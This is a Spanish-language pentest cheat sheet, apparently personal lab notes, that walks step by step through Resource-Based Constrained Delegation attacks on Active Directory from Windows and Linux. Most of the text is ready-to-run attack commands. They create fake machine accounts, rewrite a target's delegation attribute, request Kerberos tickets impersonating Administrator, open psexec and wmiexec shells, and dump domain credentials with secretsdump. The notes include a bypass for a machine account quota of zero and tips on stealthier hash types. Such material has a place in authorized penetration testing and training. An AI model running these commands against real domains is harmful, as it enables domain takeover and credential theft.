RBCD - Resource-Based Constrained Delegation (Windows)
Ataque que abusa del atributo msDS-AllowedToActOnBehalfOfOtherIdentity para configurar delegación hacia un objetivo controlado. A diferencia de constrained delegation, aquí la delegación se configura en el recurso destino, no en el servicio origen. Cualquier cuenta con permisos de escritura sobre un objeto computer puede agregar cuentas en su lista de confianza.
Links: Rubeus | PowerView | PowerMad | Wagging the Dog - Shenanigans Labs | Security Descriptors - Microsoft
Explicación simple
RBCD invierte quién controla la delegación. En vez de que el servicio origen diga "puedo impersonar usuarios hacia X", es el recurso destino quien dice "confío en que Y puede impersonar usuarios para acceder a mí".
El ataque funciona así: si tienes permisos de escritura (GenericWrite, GenericAll, etc.) sobre una computadora del dominio, puedes agregarle una cuenta de tu control a su lista de confianza. Esa cuenta puede ser una computadora falsa que tú creas. Una vez configurado, usas esa cuenta falsa para pedir tickets impersonando a Administrator hacia el objetivo, y accedes a sus recursos.
Lo clave es que no necesitas comprometer nada especial — con permisos de escritura sobre un computer object y el MAQ (Machine Account Quota) por defecto de 10, cualquier usuario autenticado puede crear hasta 10 computadoras en el dominio, lo cual es suficiente para el ataque.
Requisitos del ataque
- Una cuenta con permisos
GenericWrite,GenericAll,WritePropertyoWriteDACLsobre un objeto computer en el dominio - Control de otra cuenta con SPN (se puede crear una computadora falsa si no se tiene)
Paso 1 - Identificar quién tiene derechos sobre qué computadora
Script PowerShell para buscar usuarios con permisos RBCD
Import-Module .\PowerView.ps1
$computers = Get-DomainComputer
$users = Get-DomainUser
$accessRights = "GenericWrite","GenericAll","WriteProperty","WriteDacl"
foreach ($computer in $computers) {
$acl = Get-ObjectAcl -SamAccountName $computer.SamAccountName -ResolveGUIDs
foreach ($user in $users) {
$hasAccess = $acl | ?{$_.SecurityIdentifier -eq $user.ObjectSID} | %{($_.ActiveDirectoryRights -match ($accessRights -join '|'))}
if ($hasAccess) {
Write-Output "$($user.SamAccountName) has the required access rights on $($computer.Name)"
}
}
}Paso 2 - Crear una computadora falsa (si no se controla una con SPN)
Usar PowerMad para crear la cuenta de máquina. Requiere que ms-DS-MachineAccountQuota sea mayor a 0 (por defecto es 10).
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount MACHINEFAKE -Password $(ConvertTo-SecureString "FAKEPassword123+!" -AsPlainText -Force)Paso 3 - Modificar msDS-AllowedToActOnBehalfOfOtherIdentity en el target
Agregar la computadora falsa a la lista de confianza del target.
Import-Module .\PowerView.ps1
# Obtener el SID de la computadora controlada
$ComputerSid = Get-DomainComputer MACHINEFAKE -Properties objectsid | Select -Expand objectsid
# Crear el Security Descriptor en formato SDDL
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
# Crear credenciales del usuario con permisos sobre el target
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\<usuario_con_permisos>", (ConvertTo-SecureString "<password_del_usuario>" -AsPlainText -Force)
## Ejemplo
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\six.seven", (ConvertTo-SecureString "Password123#" -AsPlainText -Force)
# Modificar el atributo en el target
Get-DomainComputer <TARGET_COMPUTER> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -Verbose
## Ejemplo
Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Credential $credentials -VerbosePaso 4 - Obtener el hash NTLM de la computadora falsa
.\Rubeus.exe hash /password:<password_computadora_falsa> /user:MACHINEFAKE$ /domain:domain.localEl output muestra rc4_hmac (NTLM), aes128 y aes256. Usar el rc4_hmac para el siguiente paso.
Paso 5 - Impersonar Administrator con S4U (Rubeus)
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /ptt
## Ejemplo
.\Rubeus.exe s4u /user:HACKTHEBOX$ /rc4:CF767C9A9C529361F108AA67BF1B3695 /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /pttPara incluir servicios adicionales en el mismo ticket:
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /altservice:host,RPCSS,wsman,http,ldap,krbtgt,ldap /pttVariantes según el tipo de hash disponible
# Con RC4 (NTLM) - más común
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /ptt
# Con AES256 - más sigiloso (parece tráfico Kerberos legítimo)
.\Rubeus.exe s4u /user:HACKTHEBOX$ /aes256:<AES256_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /ptt
# Con AES128
.\Rubeus.exe s4u /user:HACKTHEBOX$ /aes128:<AES128_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /pttVariantes según el servicio objetivo
# CIFS - acceso a archivos (SMB)
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /ptt
# HTTP - WinRM / PSRemoting
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:http/<TARGET>.domain.local /ptt
# HOST - ejecución remota (similar a psexec)
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:host/<TARGET>.domain.local /ptt
# LDAP - operaciones LDAP como DCSync
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:ldap/<TARGET>.domain.local /ptt
# Todos a la vez con /altservice
.\Rubeus.exe s4u /user:MACHINEFAKE$ /rc4:<RC4_HASH> /impersonateuser:administrator /msdsspn:cifs/<TARGET>.domain.local /altservice:host,RPCSS,wsman,http,ldap /pttVerificar el ticket inyectado
klistPaso 6 - Acceder al target
# Listar archivos via SMB (requiere ticket CIFS)
ls \\<TARGET>.domain.local\c$
type \\<TARGET>.domain.local\c$\Users\Administrator\Desktop\flag.txt
# WinRM (requiere ticket HTTP o WSMAN)
Enter-PSSession <TARGET>.domain.local
# Ejecutar comandos remotos (requiere ticket HOST o CIFS)
Invoke-Command -ComputerName <TARGET>.domain.local -ScriptBlock { whoami }Limpiar el atributo tras el ataque
Import-Module .\PowerView.ps1
$credentials = New-Object System.Management.Automation.PSCredential "DOMAIN\<usuario_con_permisos>", (ConvertTo-SecureString "<password>" -AsPlainText -Force)
Get-DomainComputer <TARGET_COMPUTER> | Set-DomainObject -Clear msDS-AllowedToActOnBehalfOfOtherIdentity -Credential $credentials -VerboseResumen del flujo
- Identificar usuario con permisos de escritura sobre un computer object
- Crear computadora falsa con PowerMad (
New-MachineAccount) - Modificar
msDS-AllowedToActOnBehalfOfOtherIdentitydel target con PowerView - Calcular el hash RC4 de la computadora falsa con Rubeus (
hash /password) - Ejecutar
Rubeus s4uimpersonando Administrator hacia el SPN del target - Verificar con
klisty acceder conls \\target\c$ - Limpiar el atributo con
Set-DomainObject -Clearal terminar.
RBCD - Resource-Based Constrained Delegation (Linux)
Versión del ataque RBCD usando herramientas de Impacket desde Linux. Cubre tanto el escenario normal (con creación de computadora falsa) como el avanzado cuando MachineAccountQuota = 0.
Links: addcomputer.py - Impacket | rbcd.py | getST.py - Impacket | RBCD con usuario normal - James Forshaw | Impacket
Explicación simple
Desde Linux el ataque RBCD sigue el mismo concepto que desde Windows, pero usando herramientas de Impacket en vez de PowerView/PowerMad/Rubeus. Hay dos variantes:
- Con MachineAccountQuota > 0: crear una computadora falsa, agregarla a la lista de confianza del target, y pedir tickets impersonando a Administrator.
- Sin MachineAccountQuota (= 0): usar una cuenta de usuario normal en lugar de una computadora. Requiere un truco con la session key del TGT para que el KDC pueda descifrar los tickets intermedios.
Prerequisito
echo '<IP_DC> dc01.domain.local domain.local' | sudo tee -a /etc/hostsFlujo normal (MachineAccountQuota > 0)
Paso 1 - Crear computadora falsa
addcomputer.py -computer-name 'MACHINEFAKE$' -computer-pass 'FAKEPassword123+!' -dc-ip <IP_DC> domain.local/<usuario_con_permisos>Paso 2 - Modificar msDS-AllowedToActOnBehalfOfOtherIdentity del target
Usando rbcd.py que automatiza la escritura del Security Descriptor en LDAP.
# Descargar rbcd.py si no lo tienes
wget https://raw.githubusercontent.com/tothi/rbcd-attack/master/rbcd.py
# Ejecutar
python3 rbcd.py -dc-ip <IP_DC> -t <TARGET_COMPUTER> -f MACHINEFAKE domain\\<usuario_con_permisos>:<password>
## Ejemplo
python3 rbcd.py -dc-ip <IP_DC> -t DC01 -f MACHINEFAKE domain\\<usuario_con_permisos>:<password>-t es el nombre del target (ej: DC01), -f es el nombre de la computadora falsa sin el $.
- En caso se use impacket:
impacket-rbcd -dc-ip <IP_DC> -delegate-to <TARGET_COMPUTER> -delegate-from MACHINEFAKE$ -action write domain/<usuario_con_permisos>:<password>
## Ejemplo
impacket-rbcd -dc-ip 10.10.10.5 -delegate-to dc01 -delegate-from MACHINEFAKE$ -action write domain/<usuario_con_permisos>:<password>Paso 3 - Obtener el TGS impersonando Administrator
getST.py -spn cifs/<TARGET>.domain.local -impersonate Administrator -dc-ip <IP_DC> domain.local/MACHINEFAKE:'FAKEPassword123+!'El ticket se guarda como Administrator.ccache.
Variantes del SPN en getST
# CIFS - acceso a archivos (SMB)
getST.py -spn cifs/<TARGET>.domain.local -impersonate Administrator -dc-ip <IP_DC> domain.local/MACHINEFAKE:'FAKEPassword123+!'
# LDAP - DCSync y operaciones LDAP
getST.py -spn ldap/<TARGET>.domain.local -impersonate Administrator -dc-ip <IP_DC> domain.local/MACHINEFAKE:'FAKEPassword123+!'
# HOST - ejecución remota
getST.py -spn host/<TARGET>.domain.local -impersonate Administrator -dc-ip <IP_DC> domain.local/MACHINEFAKE:'FAKEPassword123+!'Paso 4 - Exportar y usar el ticket
export KRB5CCNAME=./Administrator.ccacheVariantes de acceso al target
# Shell interactiva con psexec
psexec.py -k -no-pass dc01.domain.local
# Con hostname completo
psexec.py -k -no-pass dc01.domain.local
# Especificando dc-ip si el DNS no resuelve
psexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01
# Con wmiexec (semi-interactivo, menos ruidoso que psexec)
wmiexec.py -k -no-pass dc01.domain.local
wmiexec.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01
# DCSync con el ticket LDAP
secretsdump.py -k -no-pass dc01.domain.local
secretsdump.py -k -no-pass -dc-ip <IP_DC> -target-ip <IP_DC> DOMAIN.LOCAL/administrator@DC01Flujo avanzado (MachineAccountQuota = 0)
Técnica descubierta por James Forshaw. Usa una cuenta de usuario normal con constrained delegation en lugar de una computadora. El truco es cambiar temporalmente la contraseña del usuario para que coincida con la session key del TGT, permitiendo que el KDC descifre los tickets intermedios de S4U2Self.
Paso 1 - Calcular el hash NTLM de la cuenta
pypykatz crypto nt '<password>'Paso 2 - Obtener un TGT con el hash
getTGT.py DOMAIN.LOCAL/<usuario> -hashes :<NTHASH> -dc-ip <IP_DC>El ticket se guarda como <usuario>.ccache.
Paso 3 - Extraer la Ticket Session Key del TGT
describeTicket.py <usuario>.ccache | grep 'Ticket Session Key'Guardar el valor de Ticket Session Key, se usará como nuevo hash en el siguiente paso.
Paso 4 - Cambiar la contraseña del usuario para que coincida con la session key
changepasswd.py DOMAIN.LOCAL/<usuario>@<IP_DC> -hashes :<NTHASH_actual> -newhash :<SESSION_KEY>Esto hace que la contraseña actual del usuario sea igual a la session key, permitiendo que el KDC descifre los tickets S4U.
Paso 5 - Pedir el Service Ticket usando U2U + S4U2Proxy
KRB5CCNAME=<usuario>.ccache getST.py -u2u -impersonate Administrator -spn <SPN>/<TARGET>.DOMAIN.LOCAL -no-pass DOMAIN.LOCAL/<usuario> -dc-ip <IP_DC>El ticket se guarda como Administrator@<SPN>_<TARGET>.<DOMAIN>@<DOMAIN>.ccache.
Paso 6 - Acceder con el ticket generado
KRB5CCNAME=Administrator@TERMSRV_DC01.DOMAIN.LOCAL@DOMAIN.LOCAL.ccache wmiexec.py DC01.DOMAIN.LOCAL -k -no-passLimpiar tras el ataque
Si se modificó msDS-AllowedToActOnBehalfOfOtherIdentity, limpiarlo manualmente vía LDAP o usando PowerView desde Windows:
# Verificar el atributo actual
ldapsearch -x -H ldap://<IP_DC> -D "<usuario>@domain.local" -w '<password>' -b "DC=domain,DC=local" "(cn=<TARGET_COMPUTER>)" msDS-AllowedToActOnBehalfOfOtherIdentityResumen comparativo de los dos flujos
- Normal (MAQ > 0):
addcomputer.py→rbcd.py→getST.py→export KRB5CCNAME→psexec/wmiexec - Sin MAQ (MAQ = 0):
getTGT.py→describeTicket.py(session key) →changepasswd.py→getST.py -u2u→wmiexec/psexec